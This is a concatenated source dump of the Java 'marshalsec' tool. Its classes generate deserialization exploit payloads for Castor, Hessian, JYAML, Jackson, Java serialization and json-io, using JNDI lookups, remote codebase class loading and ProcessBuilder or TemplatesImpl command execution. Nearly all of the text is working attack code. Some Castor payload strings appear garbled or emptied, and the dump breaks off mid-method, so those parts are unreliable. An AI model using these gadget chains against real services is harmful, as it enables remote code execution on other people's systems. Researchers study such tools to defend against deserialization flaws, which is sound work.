| Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.StringReader; 27 | import java.io.StringWriter; 28 | 29 | import org.exolab.castor.xml.Marshaller; 30 | import org.exolab.castor.xml.Unmarshaller; 31 | import org.exolab.castor.xml.XMLContext; 32 | 33 | import marshalsec.gadgets.Args; 34 | import marshalsec.gadgets.C3P0WrapperConnPool; 35 | import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; 36 | 37 | 38 | /** 39 | * @author mbechler 40 | * 41 | */ 42 | public class Castor extends MarshallerBase implements SpringAbstractBeanFactoryPointcutAdvisor, C3P0WrapperConnPool { 43 | 44 | /** 45 | * {@inheritDoc} 46 | * 47 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 48 | */ 49 | @Override 50 | public String marshal ( Object o ) throws Exception { 51 | XMLContext context = new XMLContext(); 52 | Marshaller m = context.createMarshaller(); 53 | StringWriter sw = new StringWriter(); 54 | m.setWriter(sw); 55 | return sw.toString(); 56 | } 57 | 58 | 59 | /** 60 | * {@inheritDoc} 61 | * 62 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 63 | */ 64 | @Override 65 | public Object unmarshal ( String data ) throws Exception { 66 | XMLContext context = new XMLContext(); 67 | Unmarshaller unmarshaller = context.createUnmarshaller(); 68 | return unmarshaller.unmarshal(new StringReader(data)); 69 | } 70 | 71 | 72 | @Override 73 | @Args ( minArgs = 1, args = { 74 | "jndiUrl" 75 | }, defaultArgs = { 76 | MarshallerBase.defaultJNDIUrl 77 | } ) 78 | public Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { 79 | String jndiName = args[ 0 ]; 80 | return "" 82 | + "" + jndiName + "foo" 83 | + "" + "" + jndiName 84 | + ""; 85 | } 86 | 87 | 88 | @Override 89 | @Args ( minArgs = 2, args = { 90 | "codebase", "class" 91 | }, defaultArgs = { 92 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 93 | } ) 94 | public Object makeWrapperConnPool ( UtilFactory uf, String[] args ) throws Exception { 95 | return ""; 98 | } 99 | 100 | 101 | public static void main ( String[] args ) { 102 | new Castor().run(args); 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/EscapeType.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | /** 27 | * @author mbechler 28 | * 29 | */ 30 | public enum EscapeType { 31 | 32 | NONE, JAVA 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Hessian.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.ByteArrayInputStream; 27 | import java.io.ByteArrayOutputStream; 28 | 29 | import com.caucho.hessian.io.AbstractHessianInput; 30 | import com.caucho.hessian.io.AbstractHessianOutput; 31 | import com.caucho.hessian.io.HessianInput; 32 | import com.caucho.hessian.io.HessianOutput; 33 | 34 | 35 | /** 36 | * @author mbechler 37 | * 38 | */ 39 | public class Hessian extends HessianBase { 40 | 41 | /** 42 | * {@inheritDoc} 43 | * 44 | * @see marshalsec.AbstractHessianBase#createOutput(java.io.ByteArrayOutputStream) 45 | */ 46 | @Override 47 | protected AbstractHessianOutput createOutput ( ByteArrayOutputStream bos ) { 48 | return new HessianOutput(bos); 49 | } 50 | 51 | 52 | /** 53 | * {@inheritDoc} 54 | * 55 | * @see marshalsec.AbstractHessianBase#createInput(java.io.ByteArrayInputStream) 56 | */ 57 | @Override 58 | protected AbstractHessianInput createInput ( ByteArrayInputStream bos ) { 59 | return new HessianInput(bos); 60 | } 61 | 62 | 63 | public static void main ( String[] args ) { 64 | new Hessian().run(args); 65 | } 66 | 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/HessianBase.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.ByteArrayInputStream; 27 | import java.io.ByteArrayOutputStream; 28 | 29 | import com.caucho.hessian.io.AbstractHessianInput; 30 | import com.caucho.hessian.io.AbstractHessianOutput; 31 | import com.caucho.hessian.io.HessianProtocolException; 32 | import com.caucho.hessian.io.Serializer; 33 | import com.caucho.hessian.io.SerializerFactory; 34 | import com.caucho.hessian.io.UnsafeSerializer; 35 | import com.caucho.hessian.io.WriteReplaceSerializer; 36 | 37 | import marshalsec.gadgets.Resin; 38 | import marshalsec.gadgets.Rome; 39 | import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; 40 | import marshalsec.gadgets.SpringPartiallyComparableAdvisorHolder; 41 | import marshalsec.gadgets.XBean; 42 | 43 | 44 | /** 45 | * 46 | * Not applicable: 47 | * - BindingEnumeration/LazySearchEnumeration/ServiceLoader/ImageIO: custom conversion of Iterator 48 | * 49 | * @author mbechler 50 | * 51 | */ 52 | public abstract class HessianBase extends MarshallerBase 53 | implements SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin { 54 | 55 | /** 56 | * {@inheritDoc} 57 | * 58 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 59 | */ 60 | @Override 61 | public byte[] marshal ( Object o ) throws Exception { 62 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 63 | AbstractHessianOutput out = createOutput(bos); 64 | NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); 65 | sf.setAllowNonSerializable(true); 66 | out.setSerializerFactory(sf); 67 | out.writeObject(o); 68 | out.close(); 69 | return bos.toByteArray(); 70 | } 71 | 72 | 73 | /** 74 | * {@inheritDoc} 75 | * 76 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 77 | */ 78 | @Override 79 | public Object unmarshal ( byte[] data ) throws Exception { 80 | ByteArrayInputStream bis = new ByteArrayInputStream(data); 81 | AbstractHessianInput in = createInput(bis); 82 | return in.readObject(); 83 | } 84 | 85 | 86 | /** 87 | * @param bos 88 | * @return 89 | */ 90 | protected abstract AbstractHessianOutput createOutput ( ByteArrayOutputStream bos ); 91 | 92 | 93 | protected abstract AbstractHessianInput createInput ( ByteArrayInputStream bos ); 94 | 95 | public static class NoWriteReplaceSerializerFactory extends SerializerFactory { 96 | 97 | /** 98 | * {@inheritDoc} 99 | * 100 | * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) 101 | */ 102 | @Override 103 | public Serializer getObjectSerializer ( Class cl ) throws HessianProtocolException { 104 | return super.getObjectSerializer(cl); 105 | } 106 | 107 | 108 | /** 109 | * {@inheritDoc} 110 | * 111 | * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) 112 | */ 113 | @Override 114 | public Serializer getSerializer ( Class cl ) throws HessianProtocolException { 115 | Serializer serializer = super.getSerializer(cl); 116 | 117 | if ( serializer instanceof WriteReplaceSerializer ) { 118 | return UnsafeSerializer.create(cl); 119 | } 120 | return serializer; 121 | } 122 | 123 | } 124 | 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/JYAML.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import org.ho.yaml.Yaml; 27 | 28 | import marshalsec.gadgets.C3P0RefDataSource; 29 | import marshalsec.gadgets.C3P0WrapperConnPool; 30 | import marshalsec.gadgets.JdbcRowSet; 31 | 32 | 33 | /** 34 | * @author mbechler 35 | * 36 | */ 37 | public class JYAML extends YAMLBase implements JdbcRowSet, C3P0RefDataSource, C3P0WrapperConnPool { 38 | 39 | /** 40 | * {@inheritDoc} 41 | * 42 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 43 | */ 44 | @Override 45 | public String marshal ( Object o ) throws Exception { 46 | return Yaml.dump(o); 47 | } 48 | 49 | 50 | /** 51 | * {@inheritDoc} 52 | * 53 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 54 | */ 55 | @Override 56 | public Object unmarshal ( String data ) throws Exception { 57 | return Yaml.loadType(data, Object.class); 58 | } 59 | 60 | 61 | @Override 62 | protected boolean constructorArgumentsSupported () { 63 | return false; 64 | } 65 | 66 | 67 | @Override 68 | protected String constructorPrefix ( boolean inline ) { 69 | if ( !inline ) { 70 | return "foo: !"; 71 | } 72 | return "!"; 73 | } 74 | 75 | 76 | public static void main ( String[] args ) { 77 | new JYAML().run(args); 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Jackson.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.util.Collections; 27 | import java.util.HashSet; 28 | import java.util.LinkedHashMap; 29 | import java.util.Map; 30 | import java.util.Map.Entry; 31 | 32 | import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; 33 | import org.springframework.beans.factory.config.PropertyPathFactoryBean; 34 | import org.springframework.jndi.support.SimpleJndiBeanFactory; 35 | 36 | import com.fasterxml.jackson.databind.ObjectMapper; 37 | import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; 38 | import com.sun.rowset.JdbcRowSetImpl; 39 | 40 | import marshalsec.gadgets.Args; 41 | import marshalsec.gadgets.C3P0RefDataSource; 42 | import marshalsec.gadgets.C3P0WrapperConnPool; 43 | import marshalsec.gadgets.JdbcRowSet; 44 | import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; 45 | import marshalsec.gadgets.SpringPropertyPathFactory; 46 | import marshalsec.gadgets.UnicastRemoteObjectGadget; 47 | 48 | 49 | /** 50 | * @author mbechler 51 | * 52 | */ 53 | public class Jackson extends MarshallerBase implements JdbcRowSet, SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor, 54 | C3P0RefDataSource, C3P0WrapperConnPool, UnicastRemoteObjectGadget { 55 | 56 | /** 57 | * {@inheritDoc} 58 | * 59 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 60 | */ 61 | @Override 62 | public String marshal ( Object o ) throws Exception { 63 | ObjectMapper mapper = new ObjectMapper(); 64 | mapper.enableDefaultTyping(); 65 | return mapper.writeValueAsString(o); 66 | } 67 | 68 | 69 | /** 70 | * {@inheritDoc} 71 | * 72 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 73 | */ 74 | @Override 75 | public Object unmarshal ( String data ) throws Exception { 76 | ObjectMapper mapper = new ObjectMapper(); 77 | mapper.enableDefaultTyping(); 78 | return mapper.readValue(data, Object.class); 79 | } 80 | 81 | 82 | @Override 83 | @Args ( minArgs = 1, args = { 84 | "jndiUrl" 85 | }, defaultArgs = { 86 | MarshallerBase.defaultJNDIUrl 87 | }, noTest = true ) // not totally reliable and only for >= 2.7.0 88 | public Object makeJdbcRowSet ( UtilFactory uf, String[] args ) throws Exception { 89 | Map values = new LinkedHashMap<>(); 90 | values.put("dataSourceName", quoteString(args[ 0 ])); 91 | values.put("autoCommit", "true"); 92 | return writeObject(JdbcRowSetImpl.class, values); 93 | } 94 | 95 | 96 | @Override 97 | @Args ( minArgs = 1, args = { 98 | "jndiUrl" 99 | }, defaultArgs = { 100 | MarshallerBase.defaultJNDIUrl 101 | } ) 102 | public Object makePropertyPathFactory ( UtilFactory uf, String[] args ) throws Exception { 103 | Map values = new LinkedHashMap<>(); 104 | String jndiUrl = args[ 0 ]; 105 | values.put("targetBeanName", quoteString(jndiUrl)); 106 | values.put("propertyPath", quoteString("foo")); 107 | values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); 108 | return writeObject(PropertyPathFactoryBean.class, values); 109 | } 110 | 111 | 112 | @Override 113 | @Args ( minArgs = 1, args = { 114 | "jndiUrl" 115 | }, defaultArgs = { 116 | MarshallerBase.defaultJNDIUrl 117 | } ) 118 | public Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { 119 | String jndiUrl = args[ 0 ]; 120 | Map values = new LinkedHashMap<>(); 121 | values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); 122 | values.put("adviceBeanName", quoteString(jndiUrl)); 123 | return writeCollection( 124 | HashSet.class.getName(), 125 | writeObject(DefaultBeanFactoryPointcutAdvisor.class, values), 126 | writeObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP)); 127 | } 128 | 129 | 130 | private static String makeSpringJndiBeanFactory ( String jndiUrl ) { 131 | return writeObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl)))); 132 | } 133 | 134 | 135 | @Override 136 | @Args ( minArgs = 1, args = { 137 | "jndiUrl" 138 | }, defaultArgs = { 139 | MarshallerBase.defaultJNDIUrl 140 | } ) 141 | public Object makeRefDataSource ( UtilFactory uf, String[] args ) throws Exception { 142 | Map values = new LinkedHashMap<>(); 143 | values.put("jndiName", quoteString(args[ 0 ])); 144 | values.put("loginTimeout", "0"); 145 | return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values); 146 | } 147 | 148 | 149 | @Override 150 | @Args ( minArgs = 2, args = { 151 | "codebase", "class" 152 | }, defaultArgs = { 153 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 154 | } ) 155 | public Object makeWrapperConnPool ( UtilFactory uf, String[] args ) throws Exception { 156 | return writeObject( 157 | WrapperConnectionPoolDataSource.class, 158 | Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); 159 | } 160 | 161 | 162 | @Override 163 | @Args ( minArgs = 0, args = {}, noTest = true ) // random port only 164 | public Object makeUnicastRemoteObject ( UtilFactory uf, String... args ) throws Exception { 165 | return writeObject("java.rmi.server.UnicastRemoteObject", Collections.EMPTY_MAP); 166 | } 167 | 168 | 169 | /** 170 | * @param quoteString 171 | * @return 172 | */ 173 | private static String writeArray ( String... elements ) { 174 | StringBuilder sb = new StringBuilder(); 175 | sb.append('['); 176 | boolean first = true; 177 | for ( String elem : elements ) { 178 | if ( !first ) { 179 | sb.append(','); 180 | } 181 | else { 182 | first = false; 183 | } 184 | sb.append(elem); 185 | } 186 | sb.append(']'); 187 | return sb.toString(); 188 | } 189 | 190 | 191 | /** 192 | * @param string 193 | * @return 194 | */ 195 | private static String quoteString ( String string ) { 196 | return '"' + string + '"'; 197 | } 198 | 199 | 200 | private static String writeCollection ( String type, String... values ) { 201 | StringBuilder sb = new StringBuilder(); 202 | sb.append('['); 203 | sb.append('"').append(type).append('"'); 204 | sb.append(','); 205 | sb.append('['); 206 | boolean first = true; 207 | for ( String val : values ) { 208 | if ( !first ) { 209 | sb.append(','); 210 | } 211 | else { 212 | first = false; 213 | } 214 | sb.append(val); 215 | } 216 | sb.append(']'); 217 | sb.append(']'); 218 | return sb.toString(); 219 | } 220 | 221 | 222 | private static String writeObject ( Class clazz, Map values ) { 223 | return writeObject(clazz.getName(), values); 224 | } 225 | 226 | 227 | private static String writeObject ( String type, Map properties ) { 228 | StringBuilder sb = new StringBuilder(); 229 | sb.append('['); 230 | sb.append('"').append(type).append('"'); 231 | sb.append(','); 232 | sb.append('{'); 233 | boolean first = true; 234 | for ( Entry e : properties.entrySet() ) { 235 | if ( !first ) { 236 | sb.append(','); 237 | } 238 | else { 239 | first = false; 240 | } 241 | writeProperty(sb, e.getKey(), e.getValue()); 242 | } 243 | sb.append('}'); 244 | sb.append(']'); 245 | return sb.toString(); 246 | } 247 | 248 | 249 | /** 250 | * @param sb 251 | * @param key 252 | * @param value 253 | */ 254 | private static void writeProperty ( StringBuilder sb, String key, String value ) { 255 | sb.append('"').append(key).append('"'); 256 | sb.append(':'); 257 | sb.append(value); 258 | } 259 | 260 | 261 | public static void main ( String[] args ) { 262 | new Jackson().run(args); 263 | } 264 | } 265 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Java.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.ByteArrayInputStream; 27 | import java.io.ByteArrayOutputStream; 28 | import java.io.ObjectInputStream; 29 | import java.io.ObjectOutputStream; 30 | import java.util.Comparator; 31 | 32 | import marshalsec.gadgets.CommonsBeanutils; 33 | import marshalsec.gadgets.JDKUtil; 34 | import marshalsec.gadgets.XBean; 35 | 36 | 37 | /** 38 | * @author mbechler 39 | * 40 | */ 41 | public class Java extends MarshallerBase implements CommonsBeanutils, XBean { 42 | 43 | /** 44 | * {@inheritDoc} 45 | * 46 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 47 | */ 48 | @Override 49 | public byte[] marshal ( Object o ) throws Exception { 50 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 51 | try ( ObjectOutputStream oos = new ObjectOutputStream(bos) ) { 52 | oos.writeObject(o); 53 | } 54 | return bos.toByteArray(); 55 | } 56 | 57 | 58 | /** 59 | * {@inheritDoc} 60 | * 61 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 62 | */ 63 | @Override 64 | public Object unmarshal ( byte[] data ) throws Exception { 65 | ByteArrayInputStream bis = new ByteArrayInputStream(data); 66 | try ( ObjectInputStream ois = new ObjectInputStream(bis) ) { 67 | return ois.readObject(); 68 | } 69 | } 70 | 71 | 72 | /** 73 | * {@inheritDoc} 74 | * 75 | * @see marshalsec.UtilFactory#makeComparatorTrigger(java.lang.Object, java.util.Comparator) 76 | */ 77 | @Override 78 | public Object makeComparatorTrigger ( Object tgt, Comparator cmp ) throws Exception { 79 | return JDKUtil.makePriorityQueue(tgt, cmp); 80 | } 81 | 82 | 83 | public static void main ( String[] args ) { 84 | new Java().run(args); 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/JsonIO.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.util.Arrays; 27 | 28 | import javax.xml.transform.Templates; 29 | 30 | import com.cedarsoftware.util.io.JsonReader; 31 | import com.cedarsoftware.util.io.JsonWriter; 32 | 33 | import marshalsec.gadgets.Args; 34 | import marshalsec.gadgets.TemplatesUtil; 35 | import marshalsec.gadgets.Groovy; 36 | import marshalsec.gadgets.JDKUtil; 37 | import marshalsec.gadgets.LazySearchEnumeration; 38 | import marshalsec.gadgets.Primary; 39 | import marshalsec.gadgets.Resin; 40 | import marshalsec.gadgets.Rome; 41 | import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; 42 | import marshalsec.gadgets.SpringUtil; 43 | import marshalsec.gadgets.UnicastRefGadget; 44 | import marshalsec.gadgets.UnicastRemoteObjectGadget; 45 | import marshalsec.gadgets.XBean; 46 | 47 | 48 | /** 49 | * 50 | * 51 | * Not applicable: 52 | * - BindingEnumeration: cannot construct BindingEnumeration 53 | * - SpringPartiallyComparableAdvisorHolder: cannot construct AspectJPointcutAdvisor 54 | * - CommonsConfiguration: cannot restore additional properties in map/set 55 | * - ServiceLoader: cannot construct URLClassPath 56 | * - ImageIO: cannot construct FilterIterator as it dereferences a null iterator 57 | * 58 | * @author mbechler 59 | */ 60 | public class JsonIO extends MarshallerBase implements UnicastRefGadget, UnicastRemoteObjectGadget, Groovy, 61 | SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, LazySearchEnumeration { 62 | 63 | @Override 64 | public String marshal ( Object o ) throws Exception { 65 | return JsonWriter.objectToJson(o); 66 | } 67 | 68 | 69 | @Override 70 | public Object unmarshal ( String data ) throws Exception { 71 | return JsonReader.jsonToJava(data); 72 | } 73 | 74 | 75 | @Override 76 | public Object makeEqualsTrigger ( Object tgt, Object sameHash ) throws Exception { 77 | // make sure that nested maps are restored first 78 | return Arrays.asList(tgt, sameHash, JDKUtil.makeMap(tgt, sameHash)); 79 | } 80 | 81 | 82 | @Override 83 | public Object makeHashCodeTrigger ( Object o ) throws Exception { 84 | // make sure that nested maps are restored first 85 | return Arrays.asList(o, JDKUtil.makeMap(o, o)); 86 | } 87 | 88 | 89 | /** 90 | * Example with default bean factory method trigger instead, alt strategy required for ProcessBuilder 91 | */ 92 | @Args ( minArgs = 1, args = { 93 | "cmd", "args..." 94 | }, defaultArgs = { 95 | MarshallerBase.defaultExecutable 96 | } ) 97 | @Override 98 | public Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { 99 | return SpringUtil 100 | .makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(args), "start")); 101 | } 102 | 103 | 104 | /** 105 | * 106 | * Example with ROME triggering TemplatesImpl direct bytecode execution 107 | */ 108 | @Override 109 | @Primary 110 | @Args ( minArgs = 1, args = { 111 | "cmd", "args..." 112 | }, defaultArgs = { 113 | MarshallerBase.defaultExecutable, "/tmp/foo" 114 | } ) 115 | public Object makeRome ( UtilFactory uf, String[] args ) throws 